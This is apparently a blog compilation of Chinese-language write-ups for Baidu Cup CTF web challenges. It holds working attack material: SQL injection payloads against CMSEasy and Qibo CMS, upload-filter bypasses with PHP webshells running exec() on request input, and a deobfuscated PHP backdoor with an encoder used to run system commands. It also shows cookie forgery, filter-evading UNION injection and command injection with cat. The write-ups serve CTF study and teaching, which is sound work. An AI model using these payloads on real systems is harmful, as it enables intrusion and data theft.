1. 程式人生 > >百度杯CTF Write up集錦 WEB篇

百度杯CTF Write up集錦 WEB篇

九月場

1.code

一開始的URL為

http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/index.php?jpg=hei.jpg

嘗試著令

jpg=index.php

得出了base64編碼的文字
丟到解碼器裡解出文字index.php

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset
($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); //在這裡會匹配除了a-zA-Z0-9.之外的所有字元 所以_會被匹配到 $file = str_replace("config","_", $file); //在這裡想到用config代替_ $txt = base64_encode(file_get_contents($file
)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
這裡有個知識點利用phpstorm編寫的程式 在/.idea/workspace.xml的內容裡包含了當前專案下所有的php檔案。

那麼訪問
http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/.idea/workspace.xml
得到

<list>
<option
value="$PROJECT_DIR$/x.php"/> <option value="$PROJECT_DIR$/config.php"/> <option value="$PROJECT_DIR$/fl3g_ichuqiu.php"/> </list> 看見了flag所在的檔案

令上面的jpg=fl3g_ichuqiu.php
發現並沒有內容返回看上面的index.php原始碼分析。
令jpg=fl3gconfigichuqiu.php
得到關鍵的程式碼

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

這裡有個關於cookie的加密解密函式,函式一步一步來解析的話很簡單
在最後主要有一點

$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
這裡cookie的值必須為system但系統預設為guest所以我們的任務就是將guest變為system
主要是把key解出來
下面有我的php程式碼
<?php

function decrypt($txt){
    $txt1="guest";
    $tmp2="";
    for($i=0;$i<strlen($txt1);$i++){
        $tmp2 .= chr(ord($txt1[$i])+10);
    }
    $txt1=$tmp2;

    $txt2="system";
    $tmp2="";
    for($i=0;$i<strlen($txt2);$i++){
        $tmp2 .= chr(ord($txt2[$i])+10);
    }
    $txt2=$tmp2;

    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $ttmp = substr($txt,4);
    $s=0;
    $tmp="";
    $content="";
    for($i=0;$i<strlen($txt1);$i++){
        $tmp .= $txt1[$i]^$ttmp[$s++];
    }
    $a=$tmp;
    $temp='0123456789abcdef';
    $f=fopen('1.txt','w');
    for($i=0;$i<strlen($temp);$i++)
    {
        $tmp.=$temp[$i];
        for($j=0;$j<strlen($txt2);$j++){
        $content .= $txt2[$j]^$tmp[$j];  
    }
    fwrite($f,base64_encode($rnd.$content)."\r\n");
    $content='';
    }
}
decrypt('vWmRGbm4yQjgILQADAA=');
?>
程式碼很簡單自己想想就出來了,不過用了很長時間

這個出來之後就簡單了。
訪問

http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/fl3g_ichuqiu.php

得到cookie
利用burpsuit intruder進行爆破
將抓到的user值給上面的程式碼執行,然後結果作為字典。
這裡寫圖片描述
跑出結果
flag{eb0c9b89-9cf9-4c3e-a92f-76eac8b4026f}
不容易啊

2.YeserCMS

tips:flag在網站根目錄下的flag.php中
開啟網站的文件下載模組,發現了這裡寫圖片描述
cmseasy
上網查詢cmseasy漏洞

這是漏洞所在的目錄

傳送url:

http://localhost/Cmseasy/celive/live/header.php



postdata:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>


瞭解到這個可以爆密碼,上面的資料表必須改為yesercms_user,顯示段也改為32,64然後的得到admin的密碼為ff512d4240cbbdeafada40467ccbe61(Yeser231)

利用admin|Yeser231登入後臺
在模板->當前模板->當前模板編輯
找到了檔案讀取的方式
這裡寫圖片描述
flag{fcff7979-bde3-483f-be7b-361ff4cf0de0

3.Upload

這題相比較來說就比較簡單,解決的方法也多種多樣。
先隨便上傳一個檔案試試
發現上傳成功
這裡寫圖片描述
看原始碼
這裡寫圖片描述
發現上傳的位置為www/u/目錄下
我們可以利用檔案上傳漏洞讀取所需要的檔案資訊
首先將下面程式碼傳上去

<?php

?>

發現

<script language='Php'>//這裡用大寫繞過 下面也是

</script>
  • 方法一

利用file_get_contents直接獲取檔案內容

<script language='Php'>//這裡用大寫繞過 下面也是
echo file_get_contents(strtolower('../flag.Php'));
</script>
  • 方法二

利用執行Linux shell獲取檔案內容

<script language='Php'>//這裡用大寫繞過 下面也是
echo exec('pwd');//檢視當前檔案路徑
</script>

然後

<script language='Php'>//這裡用大寫繞過 下面也是
echo exec(strtolower('cat /var/www/html/u/1.Php'));//檢視當前檔案路徑
</script>

這裡寫圖片描述

  • 方法三

利用get or post 傳參繞過過濾

<script language='Php'>
echo exec(($_GET['a']));
</script>

or

<script language='Php'>//這裡用大寫繞過 下面也是
echo file_get_contents($_GET['a']);
</script>

最終都能得到flag

<?php
echo 'here_is_flag';
'flag{9825708e-6571-4e20-9d91-e56c687e55dd}';

4.SQL

確定顯示位
http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,2,3
爆表名
http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,(sel<>ect g<>roup_c<>oncat(t<>able_n<>ame) fro<>m i<>nformation_sch<>ema.tab<>les w<>here ta<>ble_sch<>ema=database()),3
爆欄位
http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,(sel<>ect gr<>oup_concat(colu<>mn_na<>me) from inform<>ation_schema.co<>lumns wh<>ere table_name='info'),3
爆欄位內容
http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,(sel<>ect gro<>up_co<>ncat(flAg_T5ZNdrm) f<>rom info),3

最後得到flag

5.再見CMS

第一步瞭解CMS版本,通過後面的背景可知是齊博CMS
上網查詢該漏洞,是以前報過的漏洞
漏洞網址
按照齊步驟一步一步來

1.註冊一個新賬戶

這一步隨便建立使用者即可

2.修改資訊觸發漏洞

http://b993b2d91aac48eebc90c6689beb1adb364f18a67d9a4351.ctf.game/member/userinfo.php?job=edit&step=2
post資料為
old_password=111111&truename=xxxx%0000&Limitword[000]=&[email protected]&provinceid=,address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) %23
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述

十月場

1.login

2.getflag

3.backdoor

題目提示檔案洩露,首先掃一下目錄
這裡寫圖片描述
發現有.git洩露
利用洩露工具 JGithack,還原得到本地git檔案
這裡寫圖片描述

這裡寫圖片描述

利用gitbash檢視以前版本
git log
這裡寫圖片描述
git diff 對比區別
這裡寫圖片描述
發現檔案b4chdo0r.php,發現是not found 查詢備份檔案.b4chdo0r.php.swo

還原出的檔案是混淆過得,最後解析的結果

<?php
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)[email protected]$r[)m"HTT)mP_RE)mFERER"];$ra)m=)[email protected]$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)[email protected])ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
 ?>

經過整合,出現原始碼,但一直不知道是怎麼出來的

<?php
$kh="4f7f";
$kf="28d7";

function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}

function y($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $t{$i}=$o{$j}^$k{$j};
        }
    }
    return $o;
}

//$rr=@$_SERVER["HTTP_REFERER"];
$rr = 'http://114.114.114.114/?q0=hahaha&q1=675&q2=TPocyB4WLfrhNnivHmqzgzJmH0I2hw&q3=a3e';
//$ra=@$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$ra = 'zh-CN;q=0.8,zh;q=0.1,en-US;q=0.2,en;q=0.3';
if($rr&&$ra){
    $u=parse_url($rr); 
    parse_str($u["query"],$q); 
    $q=array_values($q);   #q獲取get值     

    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);#m是language值
    if($q&&$m){#如果兩個都有值 進入
        @session_start();
        $s=&$_SESSION;
        $i=$m[1][0].$m[1][1]; # i = zz 
       # echo  $i;
        $h=strtolower(substr(md5($i.$kh),0,3)); 
        $f=strtolower(substr(md5($i.$kf),0,3)); 
        echo $h.' '.$f;
        $p="";
        for($z=1;$z<count($m[1]);$z++)  
            $p.=$q[$m[2][$z]];  #將URL值連線起來
       # echo ' '.$p;       
        if(strpos($p,$h)===0){    
            #echo "yes";    
            $s[$i]="";        
            $p=substr($p,3);
            echo ' '.$p;    
        }
        if(array_key_exists($i,$s)){         
            $s[$i].=$p;#$s['zz'] = $p
            $e=strpos($s[$i],$f); 
            if($e){    
                #echo "yes";
                $k=$kh.$kf; 
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

寫出解密函式

<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$a = "system('ls');";//這裡只能輸入system不知道為什麼 誰知道告訴我
$p = @base64_encode(@x(@gzcompress($a),$kh.$kf)); #輸入
echo $p;
?>

構造資料包
這裡寫圖片描述

回顯資料解析
<?php 
$kh="4f7f";
$kf="28d7";
$k = $kh.$kf;

function x($t,$k){        // $k : xor key, $t: plain. loop xor encrypt $t.
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$o = 'TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT';
#$d=base64_encode(x(gzcompress($o),$k));
$a = gzuncompress(x(base64_decode($o),$k));
echo $a;
?>

這裡寫圖片描述
最後system(‘cat this_i5_flag.php’);
這裡寫圖片描述

12月場

notebook

這題非常不錯考的基礎知識點,和大家分享一下
首先看見的就是檔案包含,利用掃描工具掃一下
這裡寫圖片描述
看見了phpinfo.php & robots.txt,回到主頁面上
這裡寫圖片描述
典型的檔案包含.
向登陸這種題目 不是注入就是session漏洞
沒有掃描到注入點,先考慮的就是session漏洞

看一下phpinfo都提供什麼資訊
這裡寫圖片描述
看見了session的路徑資訊,嘗試去包含發現怎麼都沒有回顯(這裡實現註冊username = <?php phpinfo(); ?>
接下來在phpinfo裡發現有基礎路徑
這裡寫圖片描述
所以我們只能利用相對路徑嘗試獲取session檔案
這裡懷疑他在生成session的時候重設了session存放路徑,果不其然
這裡寫圖片描述

這裡寫圖片描述
沒有回顯懷疑是過濾了關鍵字,利用base64轉一下
重新上傳惡意指令碼
<?php $_GET['a'](base64_encode($_GET['b'])); ?>
可以成功執行,但我不知道為什麼會讀取flag.php

二月場

Misc WEB1

題目提示flag就在某六位變數中。

include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

直接利用globals讀取就好

array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flag在一個長度為6的變數裡面" ["d3f0f8"]=> string(42) "flag{72be33ab-e558-4368-a978-126312085e91}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

Misc WEB2

flag不在變數裡就在檔案裡
原始碼

 <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

發現可以閉合var_dump()執行指令,發現其他system、exec都被過濾了

$a=1);echo` cat flag `//
int(1)
<?php
$flag = 'Too Young Too Simple';
#flag{266fb0dc-0498-44f5-9239-1c79415a3fdb};
<code><span style="color: #000000">

Misc WEB3

簡單的程式碼審計

 <?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

只需設定value的值即可,詳細的不在敘述

include

這是道長見識的題目,不得不說好。
題目提示: 沒錯!就是檔案包含漏洞。
這裡寫圖片描述
程式碼很簡單考的也都是簡單的知識點。
根據程式碼必須設定path的值
檢視phpinfo()
得到
這裡寫圖片描述

allow_url_fopen off  能否開啟URL檔案
allow_url_include on  能否包含URL檔案(file_get_contents 不受影響)

再來談談PHP偽協議php://input

輸入資料流php://input
代表可以訪問請求的原始資料,簡單來說POST